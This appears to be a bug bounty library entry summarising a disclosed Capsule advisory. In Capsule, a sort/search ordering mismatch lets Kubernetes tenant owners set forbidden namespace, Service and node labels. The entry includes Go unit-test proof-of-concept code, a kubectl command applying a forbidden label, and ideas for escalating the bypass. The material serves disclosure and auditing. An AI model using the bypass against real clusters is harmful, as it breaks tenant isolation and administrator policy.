# Capsule: Tenant owner bypasses Capsule's forbidden namespace/service/node label and annotation enforcement

Capsule's forbidden-metadata ExactMatch sorts case-insensitively but binary-searches by byte order, so tenant owners can set admin-forbidden namespace/Service/node labels and annotations.

- Payout: Research
- Severity: high
- Program: Capsule
- Found by: 5ud0er
- Disclosed: 2026-09-18
- CVE: CVE-2026-61672
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-gjw4-3v3v-rqxg
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-gjw4-3v3v-rqxg
- Tags: area:cloud domain:cloud domain:infra impact:integrity impact:privesc kind:research platform:ghsa sev:high tech:go tech:kubernetes technique:source-review vuln:access-control vuln:auth-bypass vuln:misconfiguration

**Target:** Kubernetes admission webhooks (namespace/service/node metadata validation) in pkg/api/forbidden_list.go
**Root cause:** ForbiddenListSpec.ExactMatch sorts the denied list with a strings.ToLower comparator but then calls sort.SearchStrings, which assumes plain byte-ascending order; when the list mixes capitalised and lowercase keys the binary search lands on the wrong index and returns false for a key literally present in the list.
**Steps:**
1. Clone capsule v0.13.5 (`git clone --depth 1 --branch v0.13.5 https://github.com/projectcapsule/capsule.git`), HEAD 34262c5536604762090144b6f8aed3ef2780c18c.
2. Add a test in pkg/api calling `ValidateForbidden(map[string]string{k: "owned"}, ForbiddenListSpec{Exact: []string{"kubernetes.io/metadata.name", "pod-security.kubernetes.io/enforce", "NetworkPolicy"}})` for k in {NetworkPolicy, kubernetes.io/metadata.name}.
3. Run `go test ./pkg/api/ -run 'TestPoC_' -v`; both denied keys are ALLOWED (err == nil) while pod-security.kubernetes.io/enforce is still blocked.
4. Minimal root cause: `ForbiddenListSpec{Exact: []string{"B","a"}}.ExactMatch("B")` returns false because ToLower sorts to [a B] and SearchStrings([a B],"B") returns index 0.
5. In a live cluster, tenant owner runs `kubectl label namespace <tenant-ns> NetworkPolicy=open` (or annotate a Service/Node) and the webhook permits it.
**How found:** Code review of the comparison primitive: noticed ExactMatch sorts with a strings.ToLower comparator but searches with sort.SearchStrings, which requires byte order; reasoned that ASCII uppercase sorts before lowercase by byte but interleaves under ToLower, so mixed-case lists break the binary search, then confirmed with a minimal ["B","a"] repro and a realistic three-key policy.
**Exploitation:** Tenant owner with normal delegated create/patch rights on their own tenant namespaces and Services submits a metadata key the admin forbade (e.g. `kubectl label namespace <tenant-ns> NetworkPolicy=open`). The namespace/service/node validating webhook calls api.ValidateForbidden, ExactMatch returns false due to the sort/search mismatch, and admission succeeds, letting the tenant set PSA overrides, identity labels, or cloud LB/externalIP Service annotations the admin denied.
**Escalation:** Chaining the allowed forbidden key into metadata-driven effects: PSA enforce-label override on a namespace, NetworkPolicy-selected labels, or LoadBalancer/externalIP provider annotations on Services to influence network exposure beyond the tenant boundary; node labels affect cluster-wide scheduling.
**Insight:** When auditing allow/deny list checks, verify the sort comparator and the search comparator use the same ordering — a case-insensitive sort feeding a byte-order binary search silently fails open on mixed-case lists; also check whether the primitive mutates a caller-shared slice.

## Proof of concept (copied exactly from the original report)

**Go test proving forbidden keys bypassed**

```
package api

import "testing"

// Realistic admin policy: forbid three sensitive metadata keys.
func denied() ForbiddenListSpec {
	return ForbiddenListSpec{
		Exact: []string{
			"kubernetes.io/metadata.name",
			"pod-security.kubernetes.io/enforce",
			"NetworkPolicy",
		},
	}
}

// The bug: keys that ARE in the denied list slip through ValidateForbidden,
// i.e. the webhook would ALLOW forbidden metadata the tenant submits.
func TestPoC_ForbiddenKeysBypassed(t *testing.T) {
	for _, k := range []string{"NetworkPolicy", "kubernetes.io/metadata.name"} {
		if err := ValidateForbidden(map[string]string{k: "owned"}, denied()); err == nil {
			t.Errorf("BYPASS CONFIRMED: ValidateForbidden ALLOWED denied key %q (list=%v)", k, denied().Exact)
		} else {
			t.Logf("(no bypass) correctly denied %q: %v", k, err)
		}
	}
}

// Positive control: a third denied key in the SAME list is still correctly
// blocked — proving the policy genuinely forbids these keys and the harness is
// wired right (i.e. the bypass above is selective, not a dead enforcement path).
func TestPoC_PositiveControl_StillBlocked(t *testing.T) {
	if err := ValidateForbidden(map[string]string{"pod-security.kubernetes.io/enforce": "privileged"}, denied()); err == nil {
		t.Errorf("control failure: denied key 'pod-security.kubernetes.io/enforce' was NOT blocked")
	}
}

// Negative control: a key the admin did NOT deny is correctly allowed,
// proving the webhook is not simply denying everything.
func TestPoC_NegativeControl_BenignAllowed(t *testing.T) {
	if err := ValidateForbidden(map[string]string{"app.kubernetes.io/name": "frontend"}, denied()); err != nil {
		t.Errorf("control failure: benign key was wrongly denied: %v", err)
	}
}

// Direct primitive check, minimal repro of the root cause.
func TestPoC_ExactMatch_RootCause(t *testing.T) {
	spec := ForbiddenListSpec{Exact: []string{"B", "a"}} // mixed case
	if !spec.ExactMatch("B") {
		t.Errorf("ROOT CAUSE: ExactMatch(%q) returned false though %q is in %v", "B", "B", spec.Exact)
	}
}
```

